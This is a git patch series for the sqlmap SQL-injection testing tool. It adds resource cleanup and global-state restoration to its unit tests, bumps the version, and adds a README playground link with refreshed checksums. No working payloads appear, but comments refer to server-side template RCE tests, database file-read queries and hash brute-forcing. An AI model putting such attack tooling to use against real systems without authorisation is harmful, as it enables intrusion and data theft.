d2f701f4c3a8621b937ddd322343df91e102af5424ab58675dec4dc7781035b4 tests/test_misc.py -790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py +2f6d2270b26f68b3c9b511364c57eb5eb7b010ff716346fe2b320df30280f94c tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py 6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py -cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py +fc698e34b53e95c2cc190dadb087d5873711202b2c5eef9db9fc6de5f9c88063 tests/test_pagecontent.py 7297b791aed9278d9252a3ade688e67796eb5c9cc4d6b29e1d2b56d83aa20295 tests/test_parse_modules.py -0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70 tests/test_payload_marking.py +6cfe189c49749a2e0bc551173f5d2c4eb5aad8cbb1f9584ecc60958b9a842725 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py 2d135eba3ad0fd091962d84742ebf67314fd3f89dcaaa1252b3e3d76fae7c9fd tests/test_property.py -c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487 tests/test_purge.py +9a0915f34e1f80a2989238fcce940734cd886020c549711a8444e7ee62eab812 tests/test_purge.py 2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py 427a543e17dfede42b9fbccc916fa0aecd93fb7bfb5c280de4c2bca87c5d8de5 tests/test_report.py 4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8 tests/test_request_basic.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py 575ebc336be598858279094072cde1ac9b124109cd7397bd805decd1b0a616d4 tests/test_search_enum.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py -29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py +295581435c4dbf7fe6c291bbf0163c43ccb6ee610e6f3f2609bfeed734c91a1a tests/test_sgmllib.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py -412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e tests/test_ssti.py +19e1e17d7a94e42cf75a37901c3468c79807a2d423bd1988b6f4a2566b864f3b tests/test_ssti.py 8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py 8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py b2b3a00254301e5e880e2e77351ebc47eed2c5280477915feedf780ea8cbd34f tests/test_target_parsing.py -b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py +cc67045d60472913eca574d601077e5111a95f4563c66caf361b8deaa2bed03c tests/test_targeturl.py d7d8aaba1d22ee690c8da2c6e28cea0ab45b0d7a6915a5ae7f581c44d7121aab tests/test_techniques.py -639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py -f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4 tests/test_threads.py +61769e1d6c4429659ebfb2de696b506821e3c6f3ca81b4318ce790b9553ca6a3 tests/test_texthelpers.py +095a889a6274f0f8e437bf9a23e4b073ab6c4b60aba582e6d1e2099645f1d883 tests/test_threads.py 8d23cb42cde68e0da2c4b47db367139d0c53363fef7493ae70b7f6636a1bbbc7 tests/test_union_engine.py 48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py diff --git a/lib/core/common.py b/lib/core/common.py index e23288d44..9a86af8cd 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2099,7 +2099,9 @@ def getFileType(filePath): desc = getText(desc) if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE): - content = openFile(filePath, "rb", encoding=None).read() + _ = openFile(filePath, "rb", encoding=None) + content = _.read() + _.close() try: content.decode() diff --git a/lib/core/settings.py b/lib/core/settings.py index fa05cc0ed..4600eb3d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.20" +VERSION = "1.10.7.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index a3bd3786b..88f91ce78 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -75,6 +75,8 @@ def configFileParser(configFile): except Exception as ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) + finally: + configFP.close() if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" diff --git a/lib/utils/hash.py b/lib/utils/hash.py index b26388265..cca7d4fc3 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1225,6 +1225,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 @@ -1304,6 +1305,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 diff --git a/tests/test_api.py b/tests/test_api.py index a76d814d6..4360c3e70 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -86,6 +86,7 @@ class _ApiServerCase(unittest.TestCase): """ def setUp(self): + self._saved_batch = conf.batch conf.batch = True # snapshot mutated globals @@ -122,6 +123,7 @@ class _ApiServerCase(unittest.TestCase): api.DataStore.username = self._saved["username"] api.DataStore.password = self._saved["password"] api.Database.filepath = self._saved["filepath"] + conf.batch = self._saved_batch def _new_task(self): code, parsed, _ = _wsgi_call("GET", "/task/new") diff --git a/tests/test_bigarray.py b/tests/test_bigarray.py index 8d033f77c..9d65d8e97 100644 --- a/tests/test_bigarray.py +++ b/tests/test_bigarray.py @@ -28,14 +28,26 @@ from lib.core.bigarray import BigArray N = 5000 +_SPILLED = [] + def _make_spilled(): # tiny chunk_size guarantees many on-disk chunks for N items ba = BigArray(chunk_size=1024) for i in range(N): ba.append("item-%d" % i) + _SPILLED.append(ba) # tracked so tearDownModule closes it (release the on-disk chunk files) return ba +def tearDownModule(): + for ba in _SPILLED: + try: + ba.close() + except Exception: + pass + del _SPILLED[:] + + class TestSpill(unittest.TestCase): def test_actually_spilled_to_disk(self): ba = _make_spilled() diff --git a/tests/test_checks.py b/tests/test_checks.py index 7300c39bb..54988ac58 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -53,9 +53,10 @@ _CONF_KEYS = ( "notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data", "hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor", "tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon", - "ipv6", "multipleTargets", "level", "base64Parameter", "batch", + "ipv6", "multipleTargets", "level", "base64Parameter", "batch", "code", "titles", ) _KB_KEYS = ( + "pageTemplate", "negativeLogic", "heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime", "originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding", "heuristicTest", "heuristicPage", "heuristicCode", "pageStable", diff --git a/tests/test_common.py b/tests/test_common.py index 73396f0ec..e8d217627 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -1320,10 +1320,9 @@ class TestCommonChunkSplit(unittest.TestCase): random.choice, random.randint, random.sample, random.seed = _saved def test_chunk_split_terminator(self): - import random from lib.core.common import chunkSplitPostData - random.seed(123) # regardless of content, the chunked stream must end with the zero-length terminator + # (assertion is seed-independent, so don't touch the global RNG) self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py index 353252f8e..6eb4e6bcf 100644 --- a/tests/test_filesystem.py +++ b/tests/test_filesystem.py @@ -25,6 +25,7 @@ logic fails the test. No live target / network / DBMS involved. import os import sys +import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) @@ -108,7 +109,7 @@ class TestGenericFilesystem(_FsBase): def test_fileEncode_reads_then_encodes(self): # fileEncode must read the file bytes and delegate to fileContentEncode path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_fe_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_fe_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"hello") try: @@ -138,7 +139,7 @@ class TestGenericFilesystem(_FsBase): # MySQL builds LENGTH(LOAD_FILE('')) and compares to local size. set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"12345") # 5 bytes captured = {} @@ -159,7 +160,7 @@ class TestGenericFilesystem(_FsBase): def test_checkFileLength_size_differs(self): set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl2_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl2_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"12345") # local 5 self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9") @@ -176,7 +177,7 @@ class TestGenericFilesystem(_FsBase): # OPENROWSET-building branch runs in isolation. set_dbms("Microsoft SQL Server") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl3_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl3_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"ABCD") # 4 bytes stacked = [] @@ -205,7 +206,7 @@ class TestGenericFilesystem(_FsBase): # non-positive remote size -> treated as "not written" -> sameFile False set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl4_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl4_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"x") self.patch(self.module.inject, "getValue", lambda q, *a, **k: None) @@ -282,7 +283,7 @@ class TestGenericFilesystem(_FsBase): # stackedWriteFile and return its result. set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_wf_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_wf_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"data") calls = {} diff --git a/tests/test_ldap.py b/tests/test_ldap.py index f590dcfb8..469f4fed2 100644 --- a/tests/test_ldap.py +++ b/tests/test_ldap.py @@ -16,6 +16,21 @@ bootstrap() import lib.techniques.ldap.inject as ldap +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_LDAP_CONF_KEYS = ("parameters", "paramDict", "skipUrlEncode", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _LDAP_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + # --- Helpers ---------------------------------------------------------------- SENTINEL = ldap.SENTINEL diff --git a/tests/test_nosql.py b/tests/test_nosql.py index 3703471f8..d09872726 100644 --- a/tests/test_nosql.py +++ b/tests/test_nosql.py @@ -18,6 +18,21 @@ bootstrap() import lib.techniques.nosql.inject as ni +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_NOSQL_CONF_KEYS = ("parameters", "paramDict", "timeSec", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _NOSQL_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + SECRET = "S3cr3t_9" MATCH = "Welcome user; rows: alpha, bravo, charlie" NOMATCH = "Invalid credentials; no rows" diff --git a/tests/test_pagecontent.py b/tests/test_pagecontent.py index 3f6edcf50..6d777ef21 100644 --- a/tests/test_pagecontent.py +++ b/tests/test_pagecontent.py @@ -60,6 +60,7 @@ class TestExtractTextTagContent(unittest.TestCase): class TestParseSqliteTableSchema(unittest.TestCase): def setUp(self): + self.addCleanup(setattr, kb.data, "cachedColumns", kb.data.get("cachedColumns")) kb.data.cachedColumns = {} def _cols(self): diff --git a/tests/test_payload_marking.py b/tests/test_payload_marking.py index 04f97941a..f0271bf9c 100644 --- a/tests/test_payload_marking.py +++ b/tests/test_payload_marking.py @@ -28,6 +28,24 @@ from lib.core.settings import (JSON_RECOGNITION_REGEX, JSON_LIKE_RECOGNITION_REG # change there is reflected here too. MARK = CUSTOM_INJECTION_MARK_CHAR +# the _drive_* helpers set sticky conf/kb flags (notably conf.hpp, which changes queryPage +# behaviour) without restoring them; snapshot/restore at the module boundary so they can't leak +_PM_CONF_KEYS = ("hpp", "skipUrlEncode", "method", "paramDel", "url", "data", "parameters", "paramDict") +_PM_KB_KEYS = ("tamperFunctions", "postHint", "customInjectionMark", "postUrlEncode", "postSpaceToPlus", "processUserMarks") +_pm_saved = {} + +def setUpModule(): + from lib.core.data import conf, kb + for k in _PM_CONF_KEYS: + _pm_saved[("conf", k)] = conf.get(k) + for k in _PM_KB_KEYS: + _pm_saved[("kb", k)] = kb.get(k) + +def tearDownModule(): + from lib.core.data import conf, kb + for (scope, k), v in _pm_saved.items(): + (conf if scope == "conf" else kb)[k] = v + def classify(d): if re.search(JSON_RECOGNITION_REGEX, d): diff --git a/tests/test_purge.py b/tests/test_purge.py index b4520f404..c532d7b73 100644 --- a/tests/test_purge.py +++ b/tests/test_purge.py @@ -83,7 +83,10 @@ class TestPurge(unittest.TestCase): nonempty = [p for p in survivors if os.path.getsize(p) > 0] self.assertEqual(nonempty, [], msg="files were not truncated to zero: %r" % nonempty) - blob = b"".join(open(p, "rb").read() for p in survivors) + blob = b"" + for p in survivors: + with open(p, "rb") as fh: + blob += fh.read() for secret in plaintexts.values(): self.assertNotIn(secret.encode("utf-8"), blob, msg="original plaintext %r survived the purge" % secret) diff --git a/tests/test_sgmllib.py b/tests/test_sgmllib.py index 5343ef952..4195ed8b1 100644 --- a/tests/test_sgmllib.py +++ b/tests/test_sgmllib.py @@ -191,6 +191,7 @@ class TestEntityConversion(unittest.TestCase): class TestCustomEntitydefs(unittest.TestCase): def test_custom_entity(self): p = RecordingParser() + p.entitydefs = dict(p.entitydefs) # shadow the shared SGMLParser class dict so 'copy' doesn't leak process-wide p.entitydefs["copy"] = "\xa9" p.feed("©") p.close() diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 96b714bc0..8a5e15e9a 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -393,8 +393,7 @@ class TestExecuteCommand(unittest.TestCase): def tearDown(self): ssti._send = self.original_send - if self.original_dumper is not None: - ssti.conf.dumper = self.original_dumper + ssti.conf.dumper = self.original_dumper # restore unconditionally (was None -> don't leak the mock dumper) def test_error_page_skipped(self): """RCE payload that triggers a template error is skipped; next payload tried.""" diff --git a/tests/test_targeturl.py b/tests/test_targeturl.py index a0e05ac85..74c14c071 100644 --- a/tests/test_targeturl.py +++ b/tests/test_targeturl.py @@ -26,6 +26,20 @@ bootstrap() from lib.core.common import parseTargetUrl from lib.core.data import conf +_TARGETURL_KEYS = ("url", "hostname", "port", "scheme", "path") +_saved = {} + + +def setUpModule(): + for k in _TARGETURL_KEYS: + _saved[k] = conf.get(k) + + +def tearDownModule(): + # parseTargetUrl() writes these onto the global conf singleton; restore so it can't leak to later modules + for k, v in _saved.items(): + conf[k] = v + def _parse(url): conf.url = url diff --git a/tests/test_texthelpers.py b/tests/test_texthelpers.py index 2726e6747..0df01ee7a 100644 --- a/tests/test_texthelpers.py +++ b/tests/test_texthelpers.py @@ -46,6 +46,7 @@ class TestFilterStringValue(unittest.TestCase): class TestParseFilePaths(unittest.TestCase): def setUp(self): + self.addCleanup(setattr, kb, "absFilePaths", kb.get("absFilePaths")) kb.absFilePaths = set() def test_unix_paths_from_php_error(self): diff --git a/tests/test_threads.py b/tests/test_threads.py index 28a852850..602d2c5ac 100644 --- a/tests/test_threads.py +++ b/tests/test_threads.py @@ -38,6 +38,7 @@ class TestThreadData(unittest.TestCase): # ATTRIBUTE STATE is per-thread. Verify both: same object, independent state. main = T.getCurrentThreadData() self.assertIs(main, T.getCurrentThreadData()) # stable within a thread + self.addCleanup(main.reset) # don't leak the main thread's mutated state to later tests main.retriesCount = 111 From 2b9fd6cf82e9b716d2d176bab5834fb46fe4447c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 3 Jul 2026 10:10:29 +0200 Subject: [PATCH 22/34] Minor update of the references --- README.md | 1 + data/txt/sha256sums.txt | 60 +++++++++++++++---------------- doc/translations/README-ar-AR.md | 1 + doc/translations/README-bg-BG.md | 1 + doc/translations/README-bn-BD.md | 1 + doc/translations/README-ckb-KU.md | 1 + doc/translations/README-de-DE.md | 1 + doc/translations/README-es-MX.md | 1 + doc/translations/README-fa-IR.md | 1 + doc/translations/README-fr-FR.md | 1 + doc/translations/README-gr-GR.md | 1 + doc/translations/README-hr-HR.md | 1 + doc/translations/README-id-ID.md | 1 + doc/translations/README-in-HI.md | 1 + doc/translations/README-it-IT.md | 1 + doc/translations/README-ja-JP.md | 1 + doc/translations/README-ka-GE.md | 1 + doc/translations/README-ko-KR.md | 1 + doc/translations/README-nl-NL.md | 1 + doc/translations/README-pl-PL.md | 1 + doc/translations/README-pt-BR.md | 1 + doc/translations/README-rs-RS.md | 1 + doc/translations/README-ru-RU.md | 1 + doc/translations/README-sk-SK.md | 1 + doc/translations/README-tr-TR.md | 1 + doc/translations/README-uk-UA.md | 1 + doc/translations/README-vi-VN.md | 1 + doc/translations/README-zh-CN.md | 1 + lib/core/settings.py | 2 +- lib/utils/api.py | 4 +-- sqlmapapi.yaml | 12 +++---- 31 files changed, 66 insertions(+), 39 deletions(-) diff --git a/README.md b/README.md index fbaddcaab..05fd78027 100644 --- a/README.md +++ b/README.md @@ -47,6 +47,7 @@ Links * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Playground: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a894ed054..d51e81eb4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -90,32 +90,32 @@ ff99497d2f04a872e16e799183e6c8f2e16f3e69cddb336e29162f1e92ae45c7 data/xml/queri ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md 8d9c49ac2c05b594c1c36a03c41cf9e3641626a94fe11d86787df4125064b6a0 doc/THIRD-PARTY.md -2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md -c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md -e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md -00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9 doc/translations/README-ckb-KU.md -f0bd369125459b81ced692ece2fe36c8b042dc007b013c31f2ea8c97b1f95c32 doc/translations/README-de-DE.md -163f1c61258ee701894f381291f8f00a307fe0851ddd45501be51a8ace791b44 doc/translations/README-es-MX.md -70d04bf35b8931c71ad65066bb5664fd48062c05d0461b887fdf3a0a8e0fab1d doc/translations/README-fa-IR.md -a55afae7582937b04bedf11dd13c62d0c87dedae16fcbcbd92f98f04a45c2bdf doc/translations/README-fr-FR.md -f4b8bd6cc8de08188f77a6aa780d913b5828f38ca1d5ef05729270cf39f9a3b8 doc/translations/README-gr-GR.md -bb8ca97c1abf4cf2ba310d858072276b4a731d2d95b461d4d77e1deca7ccbd8e doc/translations/README-hr-HR.md -27ecf8e38762b2ef5a6d48e59a9b4a35d43b91d7497f60027b263091acb067c6 doc/translations/README-id-ID.md -830a33cddd601cb1735ced46bbad1c9fbf1ed8bea1860d9dfa15269ef8b3a11c doc/translations/README-in-HI.md -40fc19ac5e790ee334732dd10fd8bd62be57f2203bd94bbd08e6aa8e154166e2 doc/translations/README-it-IT.md -379a338a94762ff485305b79afaa3c97cb92deb4621d9055b75142806d487bf5 doc/translations/README-ja-JP.md -754ce5f3be4c08d5f6ec209cc44168521286ce80f175b9ca95e053b9ec7d14d2 doc/translations/README-ka-GE.md -2e7cda0795eee1ac6f0f36e51ce63a6afedc8bbdfc74895d44a72fd070cf9f17 doc/translations/README-ko-KR.md -c161d366c1fa499e5f80c1b3c0f35e0fdeabf6616b89381d439ed67e80ed97eb doc/translations/README-nl-NL.md -95298c270cc3f493522f2ef145766f6b40487fb8504f51f91bc91b966bb11a7b doc/translations/README-pl-PL.md -b904f2db15eb14d5c276d2050b50afa82da3e60da0089b096ce5ddbf3fdc0741 doc/translations/README-pt-BR.md -3ed5f7eb20f551363eed1dc34806de88871a66fee4d77564192b9056a59d26ec doc/translations/README-rs-RS.md -7d5258bcd281ee620c7143598c18aba03454438c4dc00e7de3f4442d675c2593 doc/translations/README-ru-RU.md -bc15e7db466e42182e4bf063919c105327ff1b0ccd0920bb9315c76641ffd71a doc/translations/README-sk-SK.md -ab7d86319a68392caac23d8d7870d182d31fb8b33b24e84ba77c8119dbd194c2 doc/translations/README-tr-TR.md -5e313398bfe2573c83e25cfc5ff4c003fdbf9244aa611597a7084f7ac11cc405 doc/translations/README-uk-UA.md -c3a53e041ce868b4098c02add27ea3abaf6c9ecf73da61339519708ada6d4f24 doc/translations/README-vi-VN.md -c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translations/README-zh-CN.md +08392b358c91c79310741c11181572ac0d9c805bf9b65e93cfe6165d569e1918 doc/translations/README-ar-AR.md +692cb9911393212d0cc7115e4e281a0c7368c11060ce41140e878d02a3c9b4fc doc/translations/README-bg-BG.md +9d84fd48b533abbf987d3758c5382a4ba671d3b0499eec301965dc7061cd8794 doc/translations/README-bn-BD.md +65253be0f258af1315cd3dafe555788007537f562e4767cd62d16deff940ea9e doc/translations/README-ckb-KU.md +a879590d8df8e45dfc1a23099446a5f68b8587c31ecfcb735f326a347ccff706 doc/translations/README-de-DE.md +0d9cae50c55529bb0aa0523b7b7b0621d4e32a1ce2bbcfa214139b3d038c555b doc/translations/README-es-MX.md +c3024073cb28099f3acfa406a73e71c91c9a02e193964ed291dbff6b90427334 doc/translations/README-fa-IR.md +10ea504f41be97369f50cefe76bc28cfc629b26a6bf384b8d70e881c96dc0923 doc/translations/README-fr-FR.md +b6aa61ad27714a55c70265570145ce7ee335b9050745e648dcea48721eaf334a doc/translations/README-gr-GR.md +22351d0474d0272d8dc6551adb31c96a6ca1085e01f608ab0c00802680a2a40b doc/translations/README-hr-HR.md +782ba3afa853ace3a69811ed607639978934001f2217325880342e3f1873f4a2 doc/translations/README-id-ID.md +46990bbb2909c3045f95c726b22ff9058ded37ad6a5485886e2c576a5864278a doc/translations/README-in-HI.md +3f9dd7c6ef325d504841314c13356e416468d6a6f8ed8aab1ed4a5537fd3908b doc/translations/README-it-IT.md +39958aa346a5e0db2c330ec45d216764bef19cd660b87dc0f5251f93d501f5a3 doc/translations/README-ja-JP.md +0cf573bcae1454c34eb682e6aa2cbf1f215f4cd6434d088dd9ae3d32d2fedb67 doc/translations/README-ka-GE.md +e1798fb6d4f5369de0c6cd4c03b42082d918992e1744ee180d7e55736af6099e doc/translations/README-ko-KR.md +40a61f100da538bff95af4a582f0856aa36e5d7c5f27c20878688fd48fcd8f98 doc/translations/README-nl-NL.md +9005009f5db979677e4a5fd8282fee28086029a9483be770fdbf375674223709 doc/translations/README-pl-PL.md +4a3e59a37cd9f5ad9dce349a95b5f7e8cbb074548a6b8086129f5e9eda7fd72b doc/translations/README-pt-BR.md +93540499d004d893d4d1f79894824f28ab31f57d3ed9d698a25d08179dbe063c doc/translations/README-rs-RS.md +9732f6e022bf353543e7e762c64e927c2503325cefc42f57a90efb2b43d64055 doc/translations/README-ru-RU.md +dfc5bfe69122fde6c933b2c71e71da7c21ad15f5a3c74f9201d3360ce47df5d2 doc/translations/README-sk-SK.md +bd05734a41844fff3a304d137b95422a76ad2737b304f762e44883da7d8a147f doc/translations/README-tr-TR.md +81912ba386b468fdc95c0bdddf6bbee5154b43af579b6cee2be752d54ff490a4 doc/translations/README-uk-UA.md +ac826cb38a3c0c6ce66c3deec79e72ce526f3fdc9c664c844bcdbdbc73aeae5e doc/translations/README-vi-VN.md +a46681b34b3e5c5cd6cbd926f19b6aa104b3f202e600289565d443e57850c8d4 doc/translations/README-zh-CN.md 8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2f2411c91cab0ee8b337c9672bd510e408e1ab44b83ec0eaf0763604f4f99926 lib/core/settings.py +f86e98fbcdd8aa71e24dfd610359c1aaaff633e87940b684497d5492c3d468c4 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -255,7 +255,7 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py -c5850075861bd5f172e191a0e48dd1d636d7c6af53bb471a44d56e7cef4e79c5 lib/utils/api.py +d72933a3783873a589752e3bf0e2e351874c3d7e4610cf0a956d909fc1aa5a21 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py 51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py @@ -507,9 +507,9 @@ da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generi cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py 38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9 plugins/generic/users.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py -5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c README.md +b7425eb6a1c7b43b175a0312183579bedac0abda4fcaa42c383388626ea1b683 README.md 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py -f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml +9b6bcffc94023b291ef231760fa134140dc2448dd81b235088d6bff020502c6b sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf 